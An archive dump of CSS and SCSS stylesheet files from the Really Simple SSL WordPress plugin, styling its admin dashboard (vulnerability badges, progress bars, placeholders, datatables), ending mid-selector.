  //@import 'admin/modules/icons.scss';


  @import 'admin/modules/animations.scss';
  @import 'admin/modules/tooltip.scss';
  //@import 'admin/modules/icons.scss';

  //@import 'admin/modules/suggested-plugins.scss';

@import 'admin/states.scss';
@import 'admin/theme.scss';
really-simple-ssl/assets/css/rsssl-plugin.min.css000064400000005302147510273070016160 0ustar00:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,0.1) 0 4px 6px -1px,rgba(0,0,0,0.06) 0 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,0.2) 0 4px 6px -1px,rgba(0,0,0,0.12) 1px 0 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,0.9);--rsp-text-color-invert:rgba(255,255,255,0.9);--rsp-text-color-white:rgba(255,255,255,0.9);--rsp-text-color-light:rgba(69,69,82,0.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:.6875rem;--rsp-fs-200:.75rem;--rsp-fs-300:.8125rem;--rsp-fs-400:.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.rsssl-btn-vulnerable{display:inline-block;text-decoration:none;font-size:var(--rsp-fs-100);line-height:2.15384615;min-height:30px;margin:0;padding:4px 8px;min-width:100px;text-align:center;cursor:pointer;font-weight:600;-webkit-appearance:none;border-radius:var(--rsp-border-radius-xs);white-space:nowrap;box-sizing:border-box;background-color:var(--rsp-yellow);color:var(--rsp-black);border-color:var(--rsp-yellow)}.rsssl-btn-vulnerable:hover{text-decoration:underline}.rsssl-btn-vulnerable.rsssl-critical{background-color:var(--rsp-red);color:var(--rsp-white);border-color:var(--rsp-red)}.rsssl-btn-vulnerable.rsssl-high{background-color:var(--rsp-red);color:var(--rsp-white);border-color:var(--rsp-red)}.rsssl-btn-vulnerable.rsssl-medium{border-color:var(--rsp-yellow);color:var(--rsp-black);background-color:var(--rsp-yellow)}really-simple-ssl/assets/css/rsssl-plugin.css000064400000006664147510273070015412 0ustar00/*
  This was created for styling the plugin overview page for vulnerable plugins.
 */
:root {
    --rsp-spacing-xxs: 5px;
    --rsp-spacing-xs: 10px;
    --rsp-spacing-s: 15px;
    --rsp-spacing-m: 20px;
    --rsp-spacing-l: 25px;
    --rsp-spacing-xl: 30px;
    --rsp-grid-margin: var(--rsp-spacing-s);
    --rsp-grid-gap: var(--rsp-spacing-m);
    --rsp-border-radius: 12px;
    --rsp-border-radius-s: 8px;
    --rsp-border-radius-xs: 3px;
    --rsp-border: 1px solid var(--rsp-border-color);
    --rsp-box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px -1px, rgba(0, 0, 0, 0.06) 0px 2px 4px -1px;
    --rsp-box-shadow-dark: rgba(0, 0, 0, 0.2) 0px 4px 6px -1px, rgba(0, 0, 0, 0.12) 1px 0px 4px 1px;
    --rsp-border-color: #dfdfdf;
    --rsp-black: #333;
    --rsp-white: #fff;
    --rsp-yellow: #fbc43e;
    --rsp-blue: #009fff;
    --rsp-dark-yellow: #e6a800;
    --rsp-dark-blue: #1E73BE;
    --rsp-green: #2e8a37;
    --rsp-red: #D7263D;
    --rsp-dark-red: #9b0212;
    --rsp-pink: #E35899;
    --rsp-wp-blue: #007cba;
    --rsp-yellow-faded: #fdf4df;
    --rsp-blue-faded: #ecf8fe;
    --rsp-dark-blue-faded: #ebf2f9;
    --rsp-green-faded: #ecf4ed;
    --rsp-red-faded: #fbebed;
    --rsp-pink-faded: #fceff5;
    --rsp-wp-blue-faded: #c6e0ef;
    --rsp-background-block-color: var(--rsp-white);
    --rsp-background-color: #f0f0f1;
    --rsp-input-background-color: #fff;
    --rsp-input-text-color: var(--rsp-text-color);
    --rsp-input-border-color: var(--rsp-grey-400);
    --rsp-text-color: rgba(26, 26, 26, 0.9);
    --rsp-text-color-invert: rgba(255, 255, 255, 0.9);
    --rsp-text-color-white: rgba(255, 255, 255, 0.9);
    --rsp-text-color-light: rgba(69, 69, 82, 0.9);
    --rsp-text-color-hover: var(--rsp-green);
    --rsp-grey-100: #fafafa;
    --rsp-grey-200: #f7f7f7;
    --rsp-grey-300: #ededed;
    --rsp-grey-400: #c6c6c6;
    --rsp-grey-500: #737373;
    --rsp-grey-600: #696969;
    --rsp-color-success: var(--rsp-green);
    --rsp-color-error: var(--rsp-red);
    --rsp-color-warning: var(--rsp-yellow);
    --rsp-color-open: var(--rsp-yellow);
    --rsp-color-disabled: var(--rsp-grey-300);
    --rsp-fs-100: 0.6875rem;
    --rsp-fs-200: 0.75rem;
    --rsp-fs-300: 0.8125rem;
    --rsp-fs-400: 0.875rem;
    --rsp-fs-500: 1rem;
    --rsp-fs-600: 1.125rem;
    --rsp-fs-700: 1.25rem;
    --rsp-fs-800: 1.5rem;
    --rsp-fs-850: 2.8rem;
    --rsp-fs-900: 3.5rem;
}

@keyframes fade-in {
    0% {
        opacity: 0;
    }

    100% {
        opacity: 1;
    }
}

.rsssl-btn-vulnerable {
    display: inline-block;
    text-decoration: none;
    font-size: var(--rsp-fs-100);
    line-height: 2.15384615;
    min-height: 30px;
    margin: 0;
    padding: 4px 8px;
    min-width: 100px;
    text-align: center;
    cursor: pointer;
    font-weight: 600;
    -webkit-appearance: none;
    border-radius: var(--rsp-border-radius-xs);
    white-space: nowrap;
    box-sizing: border-box;
    background-color: var(--rsp-yellow);
    color: var(--rsp-black);
    border-color: var(--rsp-yellow);
}

.rsssl-btn-vulnerable:hover {
    text-decoration: underline;
}

.rsssl-btn-vulnerable.rsssl-critical {
    background-color: var(--rsp-red);
    color: var(--rsp-white);
    border-color: var(--rsp-red);
}

.rsssl-btn-vulnerable.rsssl-high {
    background-color: var(--rsp-red);
    color: var(--rsp-white);
    border-color: var(--rsp-red);
}

.rsssl-btn-vulnerable.rsssl-medium {
    border-color: var(--rsp-yellow);
    color: var(--rsp-black);
    background-color: var(--rsp-yellow);
}really-simple-ssl/assets/css/index.php000064400000000043147510273070014037 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/assets/css/variables.scss000064400000010157147510273070015073 0ustar00// Break points
$rsp-break-xxs: 576px;
$rsp-break-xs: 768px;
$rsp-break-s: 1080px;
$rsp-break-m: 1280px;
$rsp-break-l: 1366px;
$rsp-break-xl: 1440px; // common 13 inch macbook pro width is 1425px
$rsp-break-xxl: 1599px;

:root {
  // Margins, Paddings and Border Radius
  --rsp-spacing-xxs: 5px;
  --rsp-spacing-xs: 10px;
  --rsp-spacing-s: 15px;
  --rsp-spacing-m: 20px;
  --rsp-spacing-l: 25px;
  --rsp-spacing-xl: 30px;

  // Grid settings
  --rsp-grid-margin: var(--rsp-spacing-s);
  --rsp-grid-gap: var(--rsp-spacing-m);

  // Borders and stuff
  --rsp-border-radius: 12px;
  --rsp-border-radius-s: 8px;
  --rsp-border-radius-xs: 3px;
  --rsp-border: 1px solid var(--rsp-border-color);
  --rsp-box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px -1px, rgba(0, 0, 0, 0.06) 0px 2px 4px -1px;
  --rsp-box-shadow-dark: rgba(0, 0, 0, 0.2) 0px 4px 6px -1px, rgba(0, 0, 0, 0.12) 1px 0px 4px 1px;
  --rsp-border-color: #dfdfdf;

  // RSP Brand Colors
  --rsp-black: #333;
  --rsp-white: #fff;
  --rsp-yellow: #fbc43e;
  --rsp-blue: #009fff;
  --rsp-dark-yellow: #e6a800;
  --rsp-dark-blue: #1E73BE;
  --rsp-green: #2e8a37;
  --rsp-red: #D7263D;
  --rsp-dark-red: #9b0212;
  --rsp-pink: #E35899;
  --rsp-wp-blue: #007cba;

  --rsp-yellow-faded: #fdf4df;
  --rsp-blue-faded: #ecf8fe;
  --rsp-dark-blue-faded: #ebf2f9;
  --rsp-green-faded: #ecf4ed;
  --rsp-red-faded: #fbebed;
  --rsp-pink-faded: #fceff5;
  --rsp-wp-blue-faded: #c6e0ef;

  --rsp-background-block-color: var(--rsp-white);
  --rsp-background-color: #f0f0f1; //#f0f0f1 is the default wordpress bg color

  //Input colors
  --rsp-input-background-color: #fff;
  --rsp-input-text-color: var(--rsp-text-color);
  --rsp-input-border-color: var(--rsp-grey-400);

  --rsp-text-color: rgba(26, 26, 26, 0.9);
  --rsp-text-color-invert: rgba(255, 255, 255, 0.9);
  --rsp-text-color-white: rgba(255, 255, 255, 0.9);
  --rsp-text-color-light: rgba(69, 69, 82, 0.9);
  --rsp-text-color-hover: var(--rsp-green);

  --rsp-grey-100: #fafafa;
  --rsp-grey-200: #f7f7f7;
  --rsp-grey-300: #ededed;
  --rsp-grey-400: #c6c6c6;
  --rsp-grey-500: #737373;
  --rsp-grey-600: #696969;

  // Notification colors
  --rsp-color-success: var(--rsp-green);
  --rsp-color-error: var(--rsp-red);
  --rsp-color-warning: var(--rsp-yellow);
  --rsp-color-open: var(--rsp-yellow);
  --rsp-color-disabled: var(--rsp-grey-300);

  // Font sizes
  // If browser font-size is 16px:
  --rsp-fs-100: 0.6875rem;        // 11px
  --rsp-fs-200: 0.75rem;          // 12px
  --rsp-fs-300: 0.8125rem;        // 13px
  --rsp-fs-400: 0.875rem;         // 14px
  --rsp-fs-500: 1rem;             // 16px
  --rsp-fs-600: 1.125rem;         // 18px
  --rsp-fs-700: 1.25rem;          // 20px
  --rsp-fs-800: 1.5rem;           // 24px
  --rsp-fs-850: 2.8rem;           // 45px
  --rsp-fs-900: 3.5rem;           // 56px
}

@mixin rsssl-block {
  background: var(--rsp-background-block-color);
  box-shadow: var(--rsp-box-shadow);
  border-radius: var(--rsp-border-radius);
}

@mixin rsssl-block-padding {
  padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
  @media screen and (max-width: $rsp-break-m) {
    & {
      padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
  }
  @media screen and (max-width: $rsp-break-s) {
    & {
      padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
  }

  //@media screen and (max-width: $rsp-break-xs) {
  //  padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
  //}
}

@mixin rsssl-block-block-padding {
  padding-block: var(--rsp-spacing-m);

  @media screen and (max-width: $rsp-break-m) {
    & {
      padding-block: var(--rsp-spacing-xs);
    }
  }
  @media screen and (max-width: $rsp-break-s) {
    & {
      padding-block: var(--rsp-spacing-xxs);
    }
  }
}

@mixin rsssl-inline-block-padding {
  padding-inline: var(--rsp-spacing-l);
  @media screen and (max-width: $rsp-break-m) {
    &{
      padding-inline: var(--rsp-spacing-m);
    }
  }
  @media screen and (max-width: $rsp-break-s) {
    & {
      padding-inline: var(--rsp-spacing-s);
    }
  }
}

@mixin rsssl-fade-in {
  animation-name: fade-in;
  animation-duration: 0.4s;
  animation-timing-function: ease-in;
}

@keyframes fade-in{
  0%   { opacity: 0 }
  100% { opacity: 1; }
}

really-simple-ssl/assets/css/admin/modules/premium_overlay.scss000064400000002705147510273070021102 0ustar00.rsssl {
  .rsssl-locked {
    position: relative;
    z-index: 0;
    &.rsssl-locked-premium {
      .rsssl-locked-overlay {
        bottom: var(--rsp-spacing-s);
        flex-direction: column;
        z-index: 0;
      }
    }
    .rsssl-locked-overlay {
      display: flex;
      bottom: 0;
      text-align: left;
      margin-bottom: 20px;
      padding: 0;
      z-index: 0;

      &.rsssl-premium {
        bottom: 0;
        flex-direction: column;
      }

      .rsssl-locked-header {
        width: 100%;
        flex-direction: row;

        .rsssl-locked-header-title {
          font-weight: 600;
          color: var(--rsp-blue)
        }

        .rsssl-locked-header-subtitle {

        }
      }

      .rsssl-locked-content {
        flex-direction: row;
        width: 100%;

        .rsssl-locked-content-text {

        }
      }

      .rsssl-locked-footer {
        display: flex;
        align-items: center;
        justify-content: flex-start;
        width: 100%;
        // we want the a to be displayed on the left side
        a {
          position: relative;
          float: left !important;
        }
      }

      .rsssl-locked-footer::after {
        content: "";
        display: table;
        clear: both;
      }

    }
  }

  //if a field is both disabled, and the group is premium, we don't want a duplicate opacity on the overlay.
  .rsssl-disabled .rsssl-field-wrap {
    .rsssl-locked {
      background:transparent;
    }
  }
}really-simple-ssl/assets/css/admin/modules/xml-rpc.scss000064400000000265147510273070017244 0ustar00.rsssl div[class^=rsssl-wizard-] .rsssl-hardening-xml {
  .rsssl-locked .rsssl-shield-overlay {
      align-items: center;
      display: flex;
      justify-content: center;
  }
}
really-simple-ssl/assets/css/admin/modules/placeholder.scss000064400000003300147510273070020135 0ustar00@function randomNum($min, $max) {
  $rand: random();
  $randomNum: $min + floor($rand * (($max - $min) + 1));

  @return $randomNum;
}

$base-color: #ddd;
$shine-color: #e8e8e8;
$animation-duration: 1.6s;
@mixin background-gradient {
  background-image: linear-gradient(90deg, $base-color 0px, $shine-color 40px, $base-color 80px);
  background-size: 600px;
}
.rsssl-datatable-placeholder {
  div {
    background-color:var(--rsp-grey-300);
    height:25px;
    &:nth-child(even) {
        background-color:#fff;
    }
  }
}

.rsssl-rest-error-message {
  margin:30px;
  ul {
    list-style:disc;
    margin:20px;
  }
}

.rsssl-placeholder {
  box-sizing: border-box;
  width: 100%;
  text-align: left;
  margin: 0;
  padding-bottom: 24px;
  color: #1e1e1e;
  -moz-font-smoothing: subpixel-antialiased;
  -webkit-font-smoothing: subpixel-antialiased;
  border-radius: 2px;
  & {
    flex-grow: 100;
  }

  .rsssl-placeholder-line {
    float: left;
    width: 100%;
    height: 16px;
    margin-top: 12px;
    border-radius: 7px;
    &:last-of-type{
      margin-bottom: 24px;
    }
    animation: shine-lines $animation-duration infinite linear;
    @include background-gradient;
    @for $i from 1 through 20 {
      &:nth-of-type( #{$i} ) {
        width: ( random(40) + 60 ) * 1%;
      }
    }
  }

  .rsssl-placeholder-line ~ .rsssl-placeholder-line {
    background-color: #ddd;
  }

}
.rsssl-dashboard-placeholder {
  &.rsssl-grid-item.rsssl-row-2 {
    grid-row: span 1;
  }
}
.rsssl-settings-placeholder {
  .rsssl-grid-item{
    min-height:400px;
  }
}
.rsssl-menu-placeholder {
  min-height:400px;
}

@keyframes shine-lines {
  0% {
    background-position:- 400px;
  }
  100% {
    background-position: 220px;
  }
}really-simple-ssl/assets/css/admin/modules/animations.scss000064400000002604147510273070020023 0ustar00/* Accordeon */

.rsssl-accordeon {
  /* Basic styling for the accordion container */
  border: 1px solid #ccc;
  border-radius: 5px;
  overflow: hidden;
  transition: all 0.3s ease;
}

.rsssl-accordeon__header {
  /* Styling for the accordion header */
  display: flex;
  justify-content: space-between;
  align-items: center;
  background-color: #f5f5f5;
  padding: 10px;
  cursor: pointer;
}

.rsssl-accordeon__header__inner {
  /* Styling for the inner container of the header */
  display: flex;
  align-items: center;
}

.rsssl-accordeon__header__icon {
  /* You can set a background-image or other styling here for the icon */
  width: 20px;
  height: 20px;
  margin-right: 10px;
}

.rsssl-accordeon__header__title {
  /* Styling for the title text */
  font-size: 16px;
  font-weight: bold;
}

.rsssl-accordeon__header__button__inner {
  /* Styling for the button inside the header */
  background: none;
  border: none;
  cursor: pointer;
  font-size: 18px;
}

.rsssl-accordeon__content {
  /* By default, hide the content */
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.3s ease;
}

.rsssl-accordeon--open .rsssl-accordeon__content {
  /* When the accordion is open, show the content */
  max-height: 300px; /* You may need to adjust this value */
}

.rsssl-accordeon__content__inner {
  /* Basic styling for the inner content container */
  padding: 15px;
  background-color: #fff;
}really-simple-ssl/assets/css/admin/modules/other-plugins.scss000064400000004032147510273070020456 0ustar00.rsssl {
  .rsssl-other-plugins {
    .rsssl-placeholder {
      background-color:transparent;
    }
    .rsp-logo img {
      height: 20px;
    }
  }

  .rsssl-other-plugins-container {
    display: flex !important;
    flex-direction: row;
    flex-wrap: wrap;
    margin-bottom: 10px;
    font-size: var(--rsp-fs-300);
    line-height: 1.7;
    gap: var(--rsp-spacing-xxs);

    @media screen and (max-width: 992px) {
      flex-direction: row;
      overflow: hidden;
    }

    .rsssl-other-plugins-element {
      width: 100%;
      display: flex;
      align-content: space-between;
      justify-content: space-between;
      gap: 10px;
      --rsp-other-plugins-color: var(---rsp-brand-primary);

	  &.rsssl-zip-recipes {
		--rsp-other-plugins-color: var(--rsp-pink);
	  }

	  &.rsssl-burst-statistics {
		--rsp-other-plugins-color: var(--rsp-green);
	  }

	  &.rsssl-complianz-gdpr {
		--rsp-other-plugins-color: var(--rsp-blue);
	  }

      &.rsssl-complianz-terms-conditions {
        --rsp-other-plugins-color: var(--rsp-black);
      }

	  &.rsssl-really-simple-ssl {
		--rsp-other-plugins-color: var(--rsp-yellow);
	  }

      a {
        width: max-content;
        color: var(--rsp-text-color-light);
        transition: color 0.3s ease;
        display: flex;
        align-items: center;
        min-width: 0;
        gap: var(--rsp-spacing-xs);
        text-decoration: none;

        &:hover {
          color: var(--rsp-other-plugins-color);
          text-decoration: underline;

          .rsssl-bullet {
            background-color: var(--rsp-other-plugins-color);
          }

          .rsssl-other-plugins-content {
            text-decoration: underline;
          }
        }
      }

      .rsssl-bullet {
        transition: background-color 0.3s ease;
        background-color: var(--rsp-other-plugins-color);
      }

      .rsssl-other-plugins-content {
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .rsssl-other-plugin-status {
        min-width: fit-content;
      }
    }
  }
}
really-simple-ssl/assets/css/admin/modules/tooltip.scss000064400000000460147510273070017351 0ustar00.rsssl div[class^=rsssl-wizard-] {
  .rsssl-tooltip-icon .react-tooltip {
    max-width:300px;
    white-space: pre-wrap;
  }
  .rsssl-field-wrap {

    label {
      display: flex;

      .cmplz-label-text {
        margin-right: 10px;
      }
    }

    .rsssl-icon {
      cursor: pointer;
    }
  }
}really-simple-ssl/assets/css/admin/modules/ssltest.scss000064400000000000147510273070017346 0ustar00really-simple-ssl/assets/css/admin/modules/progress.scss000064400000012476147510273070017535 0ustar00.rsssl-grid-item.rsssl-progress {
  .rsssl-grid-item-content {
    padding: 0;
  }

  .rsssl-placeholder {
    @include rsssl-block-padding;
  }
}

.rsssl-progress-block {
  .rsssl-progress {
    overflow: hidden;
    height: 20px;
    border-radius: 5px;
    background-color: #f7f7f7;

    .rsssl-bar {
      height: 100%;
      background-color: var(--rsp-color-success);
      transition: width 1s ease;

      &.rsssl-orange {
        background-color: var(--rsp-color-warning);
      }
    }
  }

  .rsssl-progress-bar {
    @include rsssl-block-padding;
    padding-block: 0;
    border-radius:5px;
  }

  .rsssl-progress-text {
    display: flex;
    align-items: center;
    @include rsssl-block-padding;
    padding-block: var(--rsp-spacing-s);
    justify-content: flex-start;
    gap: var(--rsp-spacing-m);


    .rsssl-progress-percentage {
      font-size: var(--rsp-fs-800);
      font-weight: 700;
    }

    .rsssl-progress-text-span {
      font-weight: 500;
      font-size: var(--rsp-fs-600);
      a {
        margin-left: 3px;
      }
      @media only screen and (max-width: $rsp-break-l) and (min-width: $rsp-break-m)  {
        font-size: var(--rsp-fs-500);
      }
    }
  }
}

.rsssl-header-html {
  display: flex;
  color: var(--rsp-text-color-light);

  .rsssl-toggle-active {
    text-decoration: underline;
  }
}

.rsssl-task-switcher-container {
  display: flex;
  border-radius: var(--rsp-border-radius);

  .rsssl-task-switcher {
    &:first-of-type {
      border-right: 1px solid var(--rsp-grey-400);
      padding-right: 10px;
    }

    &:last-of-type {
      padding-left: 10px;
    }
  }
}

.rsssl-task-switcher {
  font-size: var(--rsp-fs-200);
  cursor: pointer;
  transition: 0.3s;

  &:hover {
    text-decoration: underline;
  }
}

.rsssl-active-filter-remaining .rsssl-remaining-tasks, .rsssl-active-filter-all .rsssl-all-tasks {
  text-decoration: underline;
}

/**
* Task element, list of tasks
 */

.rsssl-task-element {
  display: flex;
  align-items: flex-start;
  justify-content: center;
  gap: var(--rsp-spacing-m);
  padding-bottom: var(--rsp-spacing-s);
  @media(max-width: $rsp-break-m) {
    gap: var(--rsp-spacing-xs);
  }

  .rsssl-task-message {
    flex: 1;
    font-size: var(--rsp-fs-300);
  }

  .rsssl-task-form {
    margin-top: var(--rsp-spacing-xxs);
    display: flex;
    gap: var(--rsp-spacing-xs);
  }

  .rsssl-task-enable {
    cursor: pointer;
    line-height: 1.5;
    .rsssl-icon.rsssl-icon-loading {
      padding:3px;
    }
  }

  .rsssl-task-dismiss {

    &:hover {
      transform: scale(1.1);
    }

    button {
      all: initial; //remove default button styles
      cursor: pointer;
      padding: 4px;
    }

    svg {
      height: 12px;
      width: 12px;
    }
  }

}

.rsssl-scroll-container {
  @include rsssl-block-padding;
  //--rsp-scroll-bg-clr: var(--rsp-white);
  height: 230px;
  overflow-y: auto;
  padding-block: 0;
  padding-top: var(--rsp-spacing-s);
  border-radius: 0;
  //background-image: linear-gradient(to top, var(--rsp-scroll-bg-clr), var(--rsp-scroll-bg-clr)),
  //linear-gradient(to top, var(--rsp-scroll-bg-clr), var(--rsp-scroll-bg-clr)),
  //linear-gradient(to top, rgba(0, 0, 0, 0.15), rgba(255, 255, 255, 0)),
  //linear-gradient(to bottom, rgba(0, 0, 0, 0.15), rgba(255, 255, 255, 0));
  //background-position: bottom center, top center, bottom center, top center;
  //background-color: var(--rsp-scroll-bg-clr);
  //background-repeat: no-repeat;
  //background-size: 100% 25px, 100% 25px, 100% 15px, 100% 15px;
  //background-attachment: local, local, scroll, scroll;


  &::-webkit-scrollbar-track {
    border-radius: 10px;
    -webkit-box-shadow: inset 0 0 2px rgba(0, 0, 0, 0);
    background-color: transparent;
  }

  &::-webkit-scrollbar {
    width: 8px;
    border-radius: 10px;
    background-color: var(--rsp-grey-300);
  }

  &::-webkit-scrollbar-thumb {
    background-color: var(--rsp-grey-400);
    border-radius: 10px;
  }
}

.rsssl-progress-status-container {
  margin-right: 40px;
}

.rsssl-task-status {
  display: block;
  min-width: 100px;
  text-align: center;
  border-radius: var(--rsp-border-radius-xs);
  padding: 4px 8px;
  font-size: var(--rsp-fs-100);
  font-weight: 600;
  @media(max-width: $rsp-break-m) {
    min-width: 80px;
  }

  &.rsssl-completed, &.rsssl-success {
    background-color: var(--rsp-color-success);
    color: var(--rsp-text-color-white);
  }

  &.rsssl-open {
    background-color: var(--rsp-color-open);
  }

  &.rsssl-warning {
    background-color: var(--rsp-color-error);
    color: var(--rsp-text-color-white);
  }

  &.rsssl-premium {
    background-color: var(--rsp-blue);
    color: var(--rsp-text-color-white);
  }
  &.rsssl-loading {
    background-color: var(--rsp-grey-200);
  }
}
.rsssl-scroll-container .rsssl-task-status{
  @media(max-width: $rsp-break-s) {
    aspect-ratio: 1 / 1;
    min-width: 10px;
    height: 16px;
    border-radius: 100%;
    text-indent: -9999px; /* sends the text off-screen */
    white-space: nowrap;
  }
}
.rsssl-plusone {
  min-width: 15px;
  height: 16px;
  font-size: var(--rsp-fs-100);
  line-height: 1.5;
  display: inline-block;
  vertical-align: top;
  box-sizing: border-box;
  margin: 1px 0 -1px 2px;
  padding: 0 5px;
  border-radius: 9px;
  background-color: #d63638;
  color: #fff;
  text-align: center;
}

@media only screen and (max-width: $rsp-break-l)  {
  .rsssl-footer-left {
    display:none;
  }
}

really-simple-ssl/assets/css/admin/modules/tips-tricks.scss000064400000002215147510273070020133 0ustar00.rsssl-tips_tricks{
	.rsssl-grid-item-header{
		.rsssl-grid-item-controls{
			height: 28px;
		}
	}
}
.rsssl-tips-tricks-container {
  display: flex !important;
  flex-direction: row;
  flex-wrap: wrap;
  margin-bottom: 10px;
  font-size: var(--rsp-fs-300);
  line-height: 1.7;
  gap: var(--rsp-spacing-xxs);

  @media screen and (max-width: 992px) {
	flex-direction: row;
	overflow: hidden;
  }

  .rsssl-tips-tricks-element {
	width: calc(50% - var(--rsp-spacing-xxs));
	@media( max-width: $rsp-break-xs ){
	  width: 100%;
	}
	a {
	  color: var(--rsp-text-color-light);
	  transition: color 0.3s ease;
	  display: flex;
	  align-items: center;
	  gap: var(--rsp-spacing-xs);
	  min-width: 0; /* or some value */
	  text-decoration: none;

	  &:hover {
		color: var(--rsp-brand-primary);
		text-decoration: underline;

		svg path{
		  fill: var(--rsp-brand-primary);
		}

		.rsssl-tips-tricks-content {
		  text-decoration: underline;
		}
	  }
	}

	.rsssl-bullet {
	  transition: background-color 0.3s ease;
	  background-color: var(--rsp-grey-300);
	}
	.rsssl-tips-tricks-content {
	  white-space: nowrap;
	  overflow: hidden;
	  text-overflow: ellipsis;
	}
  }
}
really-simple-ssl/assets/css/admin/modules/datatables.scss000064400000023644147510273070017774 0ustar00 .rsssl-404_blocking,  .rsssl-user_agents,.rsssl-content_security_policy_source_directives,
   .rsssl-firewall_block_list_listing, .rsssl-vulnerabilities-measures-overview, .rsssl-two_fa_users,
   .rsssl-firewall_list_listing, .rsssl-vulnerabilities_overview, .rsssl-permissions_policy, .rsssl-firewall_white_list_listing,
   .rsssl-firewall_logs_content, .rsssl-limit_login_attempts_country, .rsssl-limit_login_attempts_users,
   .rsssl-limit_login_attempts_event_log, .rsssl-mixed-content-scan, .rsssl-limit_login_attempts_ip_address,
   .rsssl-content_security_policy, .rsssl-hardening-xml {

  .rsssl-field-wrap {
    //wp-core also adds an svg for the select dropdown, so we hide the one from the react datatables component
    nav.rdt_Pagination > div > svg {
      display: none !important;
    }

    .rsssl-search-bar {
      float: right;
      padding: 0;
    }

    .rsssl-search-bar__inner {
      display: flex;
      align-items: center;
      border-radius: 3px;
      transition: background-color 0.3s ease;
    }

    .rsssl-search-bar__inner:focus-within {
      background-color: #fff;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    }

    .rsssl-search-bar__icon {
      /* Add styles for the search icon */
    }

    .rsssl-search-bar__input {
      width: 150px; /* Adjust width as needed */
      transition: width 0.3s ease;
    }

    .rsssl-search-bar__input:focus {
      width: 200px; /* Adjust width as needed */
    }

    .rsssl-container {
      padding: 2em;
      display: flex;
      align-items: center;
      justify-content: space-between;
    }

    .rsssl-multiselect-datatable-form {
      display: flex;
      align-items: center;
      Justify-content: space-between;
      width: 100%;
      padding: 1em 2em;
      background: var(--rsp-blue-faded);
    }

    .rdt_TableRow .rdt_TableCell:last-child {
      min-width: 20px;
      float: right;
    }

    .rdt_TableRow .rdt_TableCell:last-child button,
    .rdt_TableRow .rdt_TableCell:last-child span {
      min-width: 20px;
      float: right;
    }

    .rdt_TableCol, .rdt_TableCell, .rdt_TableCol_Sortable {
      //all text to the left
      flex-direction: row;
    }

    #cell-2-force_update > div > select {
      max-width: 100%;
    }

    #cell-2-quarantine > div > select {
      max-width: 100%;
    }

    .rdt_TableCol:first-child, .rdt_TableCell:first-child {
      min-width: initial;
    }

    .rdt_TableHeadRow {
      .rdt_TableCol:last-child {
        flex-grow: 0;
        flex-direction: row-reverse;
        min-width: initial;
      }
    }

    .rdt_TableRow {
      &:nth-child(odd) {
        background-color: var(--rsp-grey-200)
      }

      padding: var(--rsp-spacing-xs) 0;

      .rdt_TableCell:last-child {
        flex-grow: 0;
      }

      //.rsssl-status-allowed, .rsssl-status-revoked {
      //  min-width: 110px;
      //  margin-right: 10px;
      //}
    }

    .rsssl-csp-revoked > div:nth-child(-n+3) {
      opacity: 0.3;
    }
  }
}

.rsssl-content_security_policy, .rsssl-permissions_policy, .rsssl-field-wrap {
  .rdt_TableHeadRow {
    .rdt_TableCol:last-child {
      flex-grow: 0;
      min-width: initial;
      justify-content: flex-end;
    }
  }
}


.rdt_TableRow {
  .rdt_TableCell:last-child {
    flex-grow: 0;
    min-width: initial;
  }
}

.rsssl-csp-revoked > div:nth-child(-n+3) {
  opacity: 0.3;
}


.rsssl-content_security_policy, .rsssl-xml_rpc {
  .rsssl-field-wrap > div > div {
    overflow-x: inherit;
    overflow-y: inherit;
  }
}

.rsssl-mixed-content-datatable {
  & > div > div {
    display: flex;
  }
}
 .rsssl-vulnerabilities_measures {
   .rdt_TableRow .rdt_TableCell:nth-child(3) {
     max-width: 50%;
   }
 }

.rsssl-vulnerabilities_measures, .rsssl-404_blocking, .rsssl-user_agents, .rsssl-firewall_logs, .rsssl-permissions_policy, .rsssl-two_fa_users,
.rsssl-vulnerabilities-measures-overview, .rsssl-content_security_policy_source_directives,
.rsssl-firewall_white_list_listing, .rsssl-firewall_block_list_listing, .rsssl-firewall_list_listing,
